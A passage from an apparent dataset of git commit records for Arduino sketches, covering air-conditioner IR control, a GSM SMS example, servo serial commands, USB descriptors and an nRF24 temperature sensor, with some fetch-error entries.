: flow \/\/ on\n # 0 : off 0\n # 1 : on 0\n # 2 : air_swing 0 or 1\n # 3 : air_clean 0 or 1\n # 4 : air_flow 0 ~ 2 : flow\n # 5 : temp 18 ~ 30\n # + : temp + 1\n # - : temp - 1\n # m : change cooling to air clean, air clean to cooling\n *\/\n Serial.print(\"a : \");\n Serial.print(a);\n Serial.print(\" b : \");\n Serial.println(b);\n\n switch (a) {\n case 0: \/\/ off\n ac_power_down();\n break;\n case 1: \/\/ on\n ac_activate(AC_TEMPERATURE, AC_FLOW);\n break;\n case 2:\n if ( b == 0 | b == 1 ) {\n ac_change_air_swing(b);\n }\n break;\n case 3: \/\/ 1 : clean on, power on\n if ( b == 0 | b == 1 ) {\n ac_air_clean(b);\n }\n break;\n case 4:\n if ( 0 <= b && b <= 2 ) {\n ac_activate(AC_TEMPERATURE, b);\n }\n break;\n case 5:\n if (18 <= b && b <= 30 ) {\n ac_activate(b, AC_FLOW);\n }\n break;\n case '+':\n if ( 18 <= AC_TEMPERATURE && AC_TEMPERATURE <= 29 ) {\n ac_activate((AC_TEMPERATURE + 1), AC_FLOW);\n }\n break;\n case '-':\n if ( 19 <= AC_TEMPERATURE && AC_TEMPERATURE <= 30 ) {\n ac_activate((AC_TEMPERATURE - 1), AC_FLOW);\n }\n break;\n case 'm':\n \/*\n if ac is on, 1) turn off, 2) turn on ac_air_clean(1)\n if ac is off, 1) turn on, 2) turn off ac_air_clean(0)\n *\/\n if ( AC_POWER_ON == 1 ) {\n ac_power_down();\n delay(100);\n ac_air_clean(1);\n } else {\n if ( AC_AIR_ACLEAN == 1) {\n ac_air_clean(0);\n delay(100);\n }\n ac_activate(AC_TEMPERATURE, AC_FLOW);\n }\n break;\n default:\n if ( 18 <= a && a <= 30 ) {\n if ( 0 <= b && b <= 2 ) {\n ac_activate(a, b);\n }\n }\n }\n\n o_r = r ;\n }\n delay(100);\n}\n\n\n\nvoid receiveEvent(int howMany)\n{\n a = Wire.read();\n b = Wire.read();\n r = !r ;\n}\n\n\n","old_contents":"#include <IRremote.h>\n#include <Wire.h>\n\n\nIRsend irsend;\n\/\/ not used\nint RECV_PIN = 11;\nIRrecv irrecv (RECV_PIN);\n\nconst int AC_TYPE = 0;\n\/\/ 0 : TOWER\n\/\/ 1 : WALL\n\nint AC_POWER_ON = 0;\n\/\/ 0 : off\n\/\/ 1 : on\n\nint AC_AIR_ACLEAN = 0;\n\/\/ 0 : off\n\/\/ 1 : on --> power on\n\nint AC_TEMPERATURE = 27;\n\/\/ temperature : 18 ~ 30\n\nint AC_FLOW = 1;\n\/\/ 0 : low\n\/\/ 1 : mid\n\/\/ 2 : high\n\/\/ if AC_TYPE =1, 3 : change\n\nconst int AC_FLOW_TOWER[3] = {0, 4, 6};\nconst int AC_FLOW_WALL[4] = {0, 2, 4, 5};\n\nunsigned long AC_CODE_TO_SEND;\n\nint r = LOW;\nint o_r = LOW;\n\nbyte a, b;\n\nvoid ac_send_code(unsigned long code)\n{\n Serial.print(\"code to send : \");\n Serial.print(code, BIN);\n Serial.print(\" : \");\n Serial.println(code, HEX);\n\n irsend.sendLG(code, 28);\n}\n\nvoid ac_activate(int temperature, int air_flow)\n{\n\n int AC_MSBITS1 = 8;\n int AC_MSBITS2 = 8;\n int AC_MSBITS3 = 0;\n int AC_MSBITS4 = 0;\n int AC_MSBITS5 = temperature - 15;\n int AC_MSBITS6 ;\n\n if ( AC_TYPE == 0) {\n AC_MSBITS6 = AC_FLOW_TOWER[air_flow];\n } else {\n AC_MSBITS6 = AC_FLOW_WALL[air_flow];\n }\n\n int AC_MSBITS7 = (AC_MSBITS3 + AC_MSBITS4 + AC_MSBITS5 + AC_MSBITS6) & B00001111;\n\n AC_CODE_TO_SEND = AC_MSBITS1 << 4 ;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS2) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS3) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS4) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS5) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS6) << 4;\n AC_CODE_TO_SEND = (AC_CODE_TO_SEND + AC_MSBITS7);\n\n ac_send_code(AC_CODE_TO_SEND);\n\n AC_POWER_ON = 1;\n AC_TEMPERATURE = temperature;\n AC_FLOW = air_flow;\n}\n\nvoid ac_change_air_swing(int air_swing)\n{\n if ( AC_TYPE == 0) {\n if ( air_swing == 1) {\n AC_CODE_TO_SEND = 0x881316B;\n } else {\n AC_CODE_TO_SEND = 0x881317C;\n }\n } else {\n if ( air_swing == 1) {\n AC_CODE_TO_SEND = 0x8813149;\n } else {\n AC_CODE_TO_SEND = 0x881315A;\n }\n }\n\n ac_send_code(AC_CODE_TO_SEND);\n}\n\nvoid ac_power_down()\n{\n AC_CODE_TO_SEND = 0x88C0051;\n\n ac_send_code(AC_CODE_TO_SEND);\n\n AC_POWER_ON = 0;\n}\n\nvoid ac_air_clean(int air_clean)\n{\n if ( air_clean == 1) {\n AC_CODE_TO_SEND = 0x88C000C;\n } else {\n AC_CODE_TO_SEND = 0x88C0084;\n }\n\n ac_send_code(AC_CODE_TO_SEND);\n\n AC_AIR_ACLEAN = air_clean;\n}\n\nvoid setup()\n{\n Serial.begin(38400);\n delay(1000);\n Wire.begin(7);\n Wire.onReceive(receiveEvent);\n\n Serial.println(\" - - - T E S T - - - \");\n\n\/* test\n ac_activate(25, 1);\n delay(5000);\n ac_activate(27, 2);\n delay(5000);\n\n*\/ \n}\n\nvoid loop()\n{\n\n\n ac_activate(25, 1);\n delay(5000);\n ac_activate(27, 0);\n delay(5000);\n\n \n if ( r != o_r) {\n\n \/*\n # a : mode or temp b : air_flow, temp, swing, clean\n # 18 ~ 30 : temp 0 ~ 2 : flow \/\/ on\n # 0 : off 0\n # 1 : on 0\n # 2 : air_swing 0 or 1\n # 3 : air_clean 0 or 1\n # 4 : air_flow 0 ~ 2 : flow\n # 5 : temp 18 ~ 30\n # + : temp + 1\n # - : temp - 1\n # m : change cooling to air clean, air clean to cooling\n *\/\n Serial.print(\"a : \");\n Serial.print(a);\n Serial.print(\" b : \");\n Serial.println(b);\n\n switch (a) {\n case 0: \/\/ off\n ac_power_down();\n break;\n case 1: \/\/ on\n ac_activate(AC_TEMPERATURE, AC_FLOW);\n break;\n case 2:\n if ( b == 0 | b == 1 ) {\n ac_change_air_swing(b);\n }\n break;\n case 3: \/\/ 1 : clean on, power on\n if ( b == 0 | b == 1 ) {\n ac_air_clean(b);\n }\n break;\n case 4:\n if ( 0 <= b && b <= 2 ) {\n ac_activate(AC_TEMPERATURE, b);\n }\n break;\n case 5:\n if (18 <= b && b <= 30 ) {\n ac_activate(b, AC_FLOW);\n }\n break;\n case '+':\n if ( 18 <= AC_TEMPERATURE && AC_TEMPERATURE <= 29 ) {\n ac_activate((AC_TEMPERATURE + 1), AC_FLOW);\n }\n break;\n case '-':\n if ( 19 <= AC_TEMPERATURE && AC_TEMPERATURE <= 30 ) {\n ac_activate((AC_TEMPERATURE - 1), AC_FLOW);\n }\n break;\n case 'm':\n \/*\n if ac is on, 1) turn off, 2) turn on ac_air_clean(1)\n if ac is off, 1) turn on, 2) turn off ac_air_clean(0)\n *\/\n if ( AC_POWER_ON == 1 ) {\n ac_power_down();\n delay(100);\n ac_air_clean(1);\n } else {\n if ( AC_AIR_ACLEAN == 1) {\n ac_air_clean(0);\n delay(100);\n }\n ac_activate(AC_TEMPERATURE, AC_FLOW);\n }\n break;\n default:\n if ( 18 <= a && a <= 30 ) {\n if ( 0 <= b && b <= 2 ) {\n ac_activate(a, b);\n }\n }\n }\n\n o_r = r ;\n }\n delay(100);\n}\n\n\n\nvoid receiveEvent(int howMany)\n{\n a = Wire.read();\n b = Wire.read();\n r = !r ;\n}\n\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e9a651b9aeec4a6eb2ce4c5f55fc89f80945c9a5","subject":"Create example.ino","message":"Create example.ino","repos":"HyDz\/Neoway_M590","old_file":"example.ino","new_file":"example.ino","new_contents":"\/*\n\nThis example send an sms to a defined number each time the Arduino boot\n\n*\/\n\n#include <M590.h> \n\nchar phonenumber[] = \"\\\"06xxxxxxxx\\\"\"; \/\/ phone number the sms will be send.\nchar smscontent[] = \"M590 GSM Module Test by HyDz\"\n\nvoid setup(){\n \/\/ initialize both serial ports:\n Serial.begin(9600); \/\/ Arduino - USB Serial\n Serial2.begin(115200); \/\/ Arduino - M590 Serial \/\/ My module come with a 115200 baudrate it can be 9600 or other.\n delay(5000); \/\/ give time to log on to network.\n sendSMS(phonenumber, smscontent);\n }\n \n void loop(){\n }\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1c8768b1233179f802431dc2af25c9077f926831","subject":"Added sketch.","message":"Added sketch.\n","repos":"assertchris-tutorials\/laravel-4-embedded-systems,assertchris-tutorials\/laravel-4-embedded-systems","old_file":"sketch.ino","new_file":"sketch.ino","new_contents":"#include <Servo.h>\n\nString buffer = \"\";\nString parts[3];\nServo servos[13];\nint index = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n buffer.reserve(200);\n}\n\nvoid loop()\n{\n \n}\n\nvoid handle()\n{ \n int pin = parts[1].toInt();\n int value = parts[2].toInt();\n \n if (parts[0] == \"pinMode\")\n {\n if (parts[2] == \"output\")\n {\n pinMode(pin, OUTPUT);\n }\n \n if (parts[2] == \"servo\")\n {\n servos[pin].attach(pin);\n }\n }\n \n if (parts[0] == \"digitalWrite\")\n {\n if (parts[2] == \"high\")\n {\n digitalWrite(pin, HIGH);\n }\n else\n {\n digitalWrite(pin, LOW);\n }\n }\n \n if (parts[0] == \"analogWrite\")\n {\n analogWrite(pin, value);\n }\n \n if (parts[0] == \"servoWrite\")\n {\n servos[pin].write(value);\n }\n \n if (parts[0] == \"analogRead\")\n {\n value = analogRead(pin);\n }\n \n Serial.print(parts[0] + \",\" + parts[1] + \",\" + value + \".\\n\");\n}\n\nvoid serialEvent()\n{\n while (Serial.available())\n {\n char in = (char) Serial.read();\n \n if (in == '.' || in == ',')\n {\n parts[index] = String(buffer);\n buffer = \"\";\n \n index++;\n \n if (index > 2)\n {\n index = 0;\n }\n }\n else\n {\n buffer += in;\n }\n \n if (in == '.')\n {\n index = 0;\n buffer = \"\";\n handle();\n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"44a0d7ad22fd518ab488cef6a58f6fcf63cd77ed","subject":"uploading Skyler's photosensor code","message":"uploading Skyler's photosensor code\n","repos":"karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015","old_file":"libraries\/photosensorSkeleton\/photosensorSkeleton.ino","new_file":"libraries\/photosensorSkeleton\/photosensorSkeleton.ino","new_contents":"int apin = 0;\nint threshold = 750;\n\nvoid setup() {\nSerial.begin(9600);\n\n}\n\nvoid loop() {\n \n \n int b;\n b = deploy();\n if (b> threshold) {\n Serial.print(true);\n Serial.print('\\n');\n\n }\n else {\n Serial.print(false);\n Serial.print('\\n');\n } \n delay(300); \n \n \n\n}\n\nint deploy()\n{\n int v;\n v = analogRead(apin);\n return v;\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/photosensorSkeleton\/photosensorSkeleton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d007449a077a72f0048e195025bf95f9e6afd58","subject":"Added test sketch","message":"Added test sketch\n","repos":"MajenkoLibraries\/USB","old_file":"examples\/USBTest\/USBTest.ino","new_file":"examples\/USBTest\/USBTest.ino","new_contents":"#include <USB.h>\n#include <wchar.h>\n\nUSBFS usbDriver;\n\n\nextern void report(uint8_t v);\n\nuint32_t wantedAddress = 0;\n\nstruct DeviceDescriptor {\n\tuint8_t bLength;\n\tuint8_t bDescriptorType;\n\tuint16_t bcdUSB;\n\tuint8_t bDeviceClass;\n\tuint8_t bDeviceSubClass;\n\tuint8_t bDeviceProtocol;\n\tuint8_t bMaxPacketSize;\n\tuint16_t idVendor;\n\tuint16_t idProduct;\n\tuint16_t bcdDevice;\n\tuint8_t iManufacturer;\n\tuint8_t iProduct;\n\tuint8_t iSerialNumber;\n\tuint8_t bNumConfigurations;\n} __attribute__((packed));\n\nstruct ConfigurationDescriptor {\n\tuint8_t bLength;\n\tuint8_t bDescriptorType;\n\tuint16_t wTotalLength;\n\tuint8_t bNumInterfaces;\n\tuint8_t bConfigurationValue;\n\tuint8_t iConfiguration;\n\tuint8_t bmAttributes;\n\tuint8_t bMaxPower;\n} __attribute__((packed));\n\nstruct InterfaceDescriptor {\n\tuint8_t bLength;\n\tuint8_t bDescriptorType;\n\tuint8_t bInterfaceNumber;\n\tuint8_t bAlternateSetting;\n\tuint8_t bNumEndpoints;\n\tuint8_t bInterfaceClass;\n\tuint8_t bInterfaceSubClass;\n\tuint8_t bInterfaceProtocol;\n\tuint8_t iInterface;\n} __attribute__((packed));\n\nstruct StringDescriptorHeader {\n\tuint8_t bLength;\n\tuint8_t bDescriptorType;\n\tuint16_t wLANGID;\n} __attribute__((packed));\n\nstatic const byte cdcacm_configuration_descriptor[] = {\n\t9, \/\/ length\n\t0x02, \/\/ configuration descriptor\n\t67, 0, \/\/ total length\n\t0x02, \/\/ num interfaces\n\t0x01, \/\/ configuration value\n\t0x00, \/\/ configuration (string)\n\t0x80, \/\/ attributes\n\t250, \/\/ 500 mA\n\n\t9, \/\/ length\n\t0x04, \/\/ interface descriptor\n\t0x00, \/\/ interface number\n\t0x00, \/\/ alternate\n\t0x01, \/\/ num endpoints\n\t0x02, \/\/ interface class (comm)\n\t0x02, \/\/ subclass (acm)\n\t0x01, \/\/ protocol (at)\n\t0x00, \/\/ interface (string)\n\n\t5, \/\/ length\n\t0x24, \/\/ header functional descriptor\n\t0x00,\n\t0x10, 0x01,\n\n\t4, \/\/ length\n\t0x24, \/\/ abstract control model descriptor\n\t0x02,\n\t0x06,\n\n\t5, \/\/ length\n\t0x24, \/\/ union functional descriptor\n\t0x06,\n\t0x00, \/\/ comm\n\t0x01, \/\/ data\n\n\t5, \/\/ length\n\t0x24, \/\/ call management functional descriptor\n\t0x01,\n\t0x00,\n\t0x01,\n\n\t7, \/\/ length\n\t0x05, \/\/ endpoint descriptor\n\t0x81, \/\/ endpoint IN address\n\t0x03, \/\/ attributes: interrupt\n\t0x08, 0x00, \/\/ packet size\n\t0x10, \/\/ interval (ms)\n\n\t9, \/\/ length\n\t0x04, \/\/ interface descriptor\n\t0x01, \/\/ interface number\n\t0x00, \/\/ alternate\n\t0x02, \/\/ num endpoints\n\t0x0a, \/\/ interface class (data)\n\t0x00, \/\/ subclass\n\t0x00, \/\/ protocol\n\t0x00, \/\/ interface (string)\n\n\t7, \/\/ length\n\t0x05, \/\/ endpoint descriptor\n\t0x82, \/\/ endpoint IN address\n\t0x02, \/\/ attributes: bulk\n\t0x40, 0x00, \/\/ packet size\n\t0x00, \/\/ interval (ms)\n\n\t7, \/\/ length\n\t0x05, \/\/ endpoint descriptor\n\t0x03, \/\/ endpoint OUT address\n\t0x02, \/\/ attributes: bulk\n\t0x40, 0x00, \/\/ packet size\n\t0x00, \/\/ interval (ms)\n};\n\nstatic const byte string_descriptor[] = {\n\t4, \/\/ length\n\t0x03, \/\/ string descriptor\n\t0x09, 0x04, \/\/ english (usa)\n\n\t34, \/\/ length\n\t0x03, \/\/ string descriptor\n\t'w', 0, 'w', 0, 'w', 0, '.', 0, 'c', 0, 'p', 0, 'u', 0, 's', 0, 't', 0, 'i', 0, 'c', 0, 'k', 0, '.', 0, 'c', 0, 'o', 0, 'm', 0,\n\n\t18, \/\/ length\n\t0x03, \/\/ string descriptor\n\t'S', 0, 't', 0, 'k', 0, '5', 0, '0', 0, '0', 0, 'v', 0, '2', 0,\n};\n\n\n\nvoid gotSetupPacket(uint8_t ep, uint8_t *data, uint32_t l) {\n\tfor (int i = 0; i < l; i++) {\n\t\tSerial.print(data[i], HEX);\n\t\tSerial.write(' ');\n\t}\n\n\tSerial.println();\n\tuint16_t signature = (data[0] << 8) | data[1];\n\tuint8_t outLength = data[6];\n\n\tswitch (signature) {\n\t\tcase 0x8006: \/\/ Get Descriptor\n\t\t\tswitch (data[3]) {\n\t\t\t\tcase 1: { \/\/ Device Descriptor\n\t\t\t\t\t\tstruct DeviceDescriptor o;\n\t\t\t\t\t\to.bLength = sizeof(struct DeviceDescriptor);\n\t\t\t\t\t\to.bDescriptorType = 0x01;\n\t\t\t\t\t\to.bcdUSB = 0x0101;\n\t\t\t\t\t\to.bDeviceClass = 0x02;\n\t\t\t\t\t\to.bDeviceSubClass = 0x00;\n\t\t\t\t\t\to.bDeviceProtocol = 0x00;\n\t\t\t\t\t\to.bMaxPacketSize = 0x40;\n\t\t\t\t\t\to.idVendor = 0x0403;\n\t\t\t\t\t\to.idProduct = 0xA662;\n\t\t\t\t\t\to.bcdDevice = 0x0180;\n\t\t\t\t\t\to.iManufacturer = 0x01;\n\t\t\t\t\t\to.iProduct = 0x02;\n\t\t\t\t\t\to.iSerialNumber = 0x03;\n\t\t\t\t\t\to.bNumConfigurations = 0x01;\n\t\t\t\t\t\tusbDriver.sendBuffer(0, (const uint8_t *)&o, min(outLength, sizeof(struct DeviceDescriptor)));\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 2: { \/\/ Configuration Descriptor\n\t\t\t\t\t\tstruct ConfigurationDescriptor o;\n\t\t\t\t\t\to.bLength = sizeof(struct ConfigurationDescriptor);\n\t\t\t\t\t\to.bDescriptorType = 0x02;\n\t\t\t\t\t\to.wTotalLength = o.bLength;\n\t\t\t\t\t\to.bNumInterfaces = 0;\n\t\t\t\t\t\to.bConfigurationValue = 1;\n\t\t\t\t\t\to.iConfiguration = 1;\n\t\t\t\t\t\to.bmAttributes = 0x80;\n\t\t\t\t\t\to.bMaxPower = 250;\n\t\t\t\t\t\tusbDriver.sendBuffer(0, (const uint8_t *)cdcacm_configuration_descriptor, outLength);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 3: { \/\/ String Descriptor\n\t\t\t\t\t\tswitch (data[2]) {\n\t\t\t\t\t\t\tcase 0x00: { \/\/ Header\n\t\t\t\t\t\t\t\t\tstruct StringDescriptorHeader o;\n\t\t\t\t\t\t\t\t\to.bLength = sizeof(struct StringDescriptorHeader);\n\t\t\t\t\t\t\t\t\to.bDescriptorType = 0x03;\n\t\t\t\t\t\t\t\t\to.wLANGID = 0x0409;\n\t\t\t\t\t\t\t\t\tusbDriver.sendBuffer(0, (const uint8_t *)&o, min(outLength, sizeof(struct StringDescriptorHeader)));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 0x01: { \/\/ Manufacturer\n\t\t\t\t\t\t\t\t\tconst char *man = \"chipKIT\";\n uint8_t mlen = strlen(man);\n\t\t\t\t\t\t\t\t\tuint8_t o[mlen * 2 + 2];\n\t\t\t\t\t\t\t\t\to[0] = mlen * 2 + 2;\n\t\t\t\t\t\t\t\t\to[1] = 0x03;\n for (int i = 0; i < mlen; i++) {\n o[2 + (i * 2)] = man[i];\n o[3 + (i * 2)] = 0;\n }\n\t\t\t\t\t\t\t\t\tusbDriver.sendBuffer(0, (const uint8_t *)&o, min(outLength, mlen * 2 + 2));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\n case 0x02: { \/\/ Product\n const char *prod = \"MAX32\";\n uint8_t mlen = strlen(prod);\n uint8_t o[mlen * 2 + 2];\n o[0] = mlen * 2 + 2;\n o[1] = 0x03;\n for (int i = 0; i < mlen; i++) {\n o[2 + (i * 2)] = prod[i];\n o[3 + (i * 2)] = 0;\n }\n usbDriver.sendBuffer(0, (const uint8_t *)&o, min(outLength, mlen * 2 + 2));\n }\n break;\n\n case 0x03: { \/\/ Serial\n const char *ser = \"1234567890\";\n uint8_t mlen = strlen(ser);\n uint8_t o[mlen * 2 + 2];\n o[0] = mlen * 2 + 2;\n o[1] = 0x03;\n for (int i = 0; i < mlen; i++) {\n o[2 + (i * 2)] = ser[i];\n o[3 + (i * 2)] = 0;\n }\n usbDriver.sendBuffer(0, (const uint8_t *)&o, min(outLength, mlen * 2 + 2));\n }\n break;\n\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tusbDriver.sendBuffer(0, NULL, 0);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tusbDriver.sendBuffer(0, NULL, 0);\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tbreak;\n\n\t\tcase 0x0005: \/\/ Set Address\n\t\t\tusbDriver.sendBuffer(0, NULL, 0);\n\t\t\twantedAddress = data[2];\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tusbDriver.sendBuffer(0, NULL, 0);\n\t\t\tbreak;\n\t}\n}\n\nvoid gotInPacket(uint8_t ep, uint8_t *data, uint32_t l) {\n\tif (wantedAddress != 0) {\n\t\tusbDriver.setAddress(wantedAddress);\n\t\tSerial.printf(\"Address set to %d\\r\\n\", wantedAddress);\n\t\twantedAddress = 0;\n\t}\n}\n\nvoid gotOutPacket(uint8_t ep, uint8_t *data, uint32_t l) {\n\tfor (int i = 0; i < l; i++) {\n\t\tSerial.print(data[i], HEX);\n\t\tSerial.write(' ');\n\t}\n\n\tSerial.println();\n}\n\n\nvoid setup() {\n\tSerial.begin(1000000);\n\tpinMode(PIN_LED1, OUTPUT);\n\tusbDriver.onSetupPacket(gotSetupPacket);\n\tusbDriver.onOutPacket(gotOutPacket);\n\tusbDriver.onInPacket(gotInPacket);\n\tusbDriver.enableUSB();\n}\n\nvoid loop() {\n\tdigitalWrite(PIN_LED1, HIGH);\n\tdelay(500);\n\tdigitalWrite(PIN_LED1, LOW);\n\tdelay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/USBTest\/USBTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"ece2832a66bd9a927b23e3afeb35eb71e3591cfc","subject":"Removing unneeded flash stuff","message":"Removing unneeded flash stuff\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/receiver.ino","new_file":"arduino\/receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f7359420f2007da10726e05cbc64b49dd7c779aa","subject":"nRF24L01 + attiny85","message":"nRF24L01 + attiny85\n\nreport to esp12 + nRF24L01.\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_25-attiny85-nrf24-ds18b20\/_25-attiny85-nrf24-ds18b20.ino","new_file":"_25-attiny85-nrf24-ds18b20\/_25-attiny85-nrf24-ds18b20.ino","new_contents":"\/\/ pins\n\/* 24l01 85\n 1 gnd 4\n 2 vcc 8\n 3 ce 1\n 4 csn 3\n 5 sck 7\n 6 mosi 6\n 7 miso 5\n*\/\n\n#include <LowPower.h>\n#include <avr\/wdt.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n#include <avr\/pgmspace.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <nRF24L01.h>\n#include <RF24.h>\n\n\/\/Disabling ADC saves ~230uAF. Needs to be re-enable for the internal voltage check\n#define adc_disable() (ADCSRA &= ~(1<<ADEN)) \/\/ disable ADC\n#define adc_enable() (ADCSRA |= (1<<ADEN)) \/\/ re-enable ADC\n\n#define CE_PIN 5\n#define CSN_PIN 4\n\n#define DEVICE_ID 1\n#define CHANNEL 1\n\nconst uint64_t pipes[2] = { 0xFFFFFFFFFFLL, 0xCCCCCCCCCCLL };\n\ntypedef struct {\n uint32_t _salt;\n uint16_t volt;\n int16_t temp;\n int16_t humi;\n uint8_t devid;\n} data;\n\ndata payload;\n\nRF24 radio(CE_PIN, CSN_PIN);\n\n\/\/ DS18B20\n#define ONE_WIRE_BUS 3\n#define TEMPERATURE_PRECISION 12\n\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\nDeviceAddress outsideThermometer;\n\nvoid setup() {\n adc_disable();\n sensors.begin();\n if (!sensors.getAddress(outsideThermometer, 0)) {\n sleep();\n }\n sensors.setResolution(outsideThermometer, TEMPERATURE_PRECISION);\n sensors.requestTemperatures();\n payload.temp = sensors.getTempC(outsideThermometer);\n\n if (isnan(payload.temp) || payload.temp < -50 ) {\n sleep();\n }\n\n payload._salt = 0;\n payload.devid = 2;\n payload.humi = 0;\n}\n\nvoid loop() {\n payload.volt = readVcc();\n sensors.requestTemperatures();\n payload.temp = sensors.getTempC(outsideThermometer) ;\n\n if (isnan(payload.temp) || payload.temp < -50 ) {\n sleep();\n } else {\n payload.temp = payload.temp * 10 ;\n\n radio.begin(); \n radio.enableDynamicPayloads();\n radio.setAutoAck(1); \n radio.setRetries(15, 15); \n radio.setPALevel(RF24_PA_HIGH);\n radio.setDataRate(RF24_250KBPS);\n radio.setPayloadSize(11);\n radio.openWritingPipe(pipes[0]);\n radio.stopListening();\n radio.write(&payload , sizeof(payload));\n delay(100);\n radio.powerDown();\n }\n sleep();\n}\n\nvoid sleep() {\n for (int i = 0; i < 7; i++) {\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n }\n LowPower.powerDown(SLEEP_4S, ADC_OFF, BOD_OFF);\n}\n\nint readVcc() {\n adc_enable();\n ADMUX = _BV(MUX3) | _BV(MUX2);\n\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA, ADSC)); \/\/ measuring\n\n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH\n uint8_t high = ADCH; \/\/ unlocks both\n\n long result = (high << 8) | low;\n\n \/\/result = 1126400L \/ result; \/\/ Calculate Vcc (in mV);\n result = 1074835L \/ result;\n\n \/\/Disable ADC\n adc_disable();\n\n return (int)result; \/\/ Vcc in millivolts\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_25-attiny85-nrf24-ds18b20\/_25-attiny85-nrf24-ds18b20.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"557526d5c3bc549b47b7e81016c5fe054b033d46","subject":"Working version switch","message":"Working version switch\n\nRemember restart Keyboard before sending and remove PIN 0 cable (RX)\nfor programming arduino mega\n","repos":"TheBeachLab\/BeachLab_midi-spectacle-arduino","old_file":"Software\/MIDI_IN\/MIDI_IN.ino","new_file":"Software\/MIDI_IN\/MIDI_IN.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachLab\/BeachLab_midi-spectacle-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"980b0127df55a711aaf26d6095e1e899029ede44","subject":"added over the air command interface to maze drone","message":"added over the air command interface to maze drone\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2ced4b3506ab4d7ac2a08ee99db66135ba2b58be","subject":"blink example added for rev H board","message":"blink example added for rev H board\n","repos":"TaylorHokanson\/CAAint","old_file":"TTGO\/Code\/Basic Functions\/Blink\/ESP32_ttgo_blink\/ESP32_ttgo_blink.ino","new_file":"TTGO\/Code\/Basic Functions\/Blink\/ESP32_ttgo_blink\/ESP32_ttgo_blink.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'TTGO\/Code\/Basic' did not match any file(s) known to git\nerror: pathspec 'Functions\/Blink\/ESP32_ttgo_blink\/ESP32_ttgo_blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"82401619ed317f0bb602003756d80871d5b79b4f","subject":"Update comments","message":"Update comments\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"New World Order\/_ard\/Thunderstorm.ino","new_file":"New World 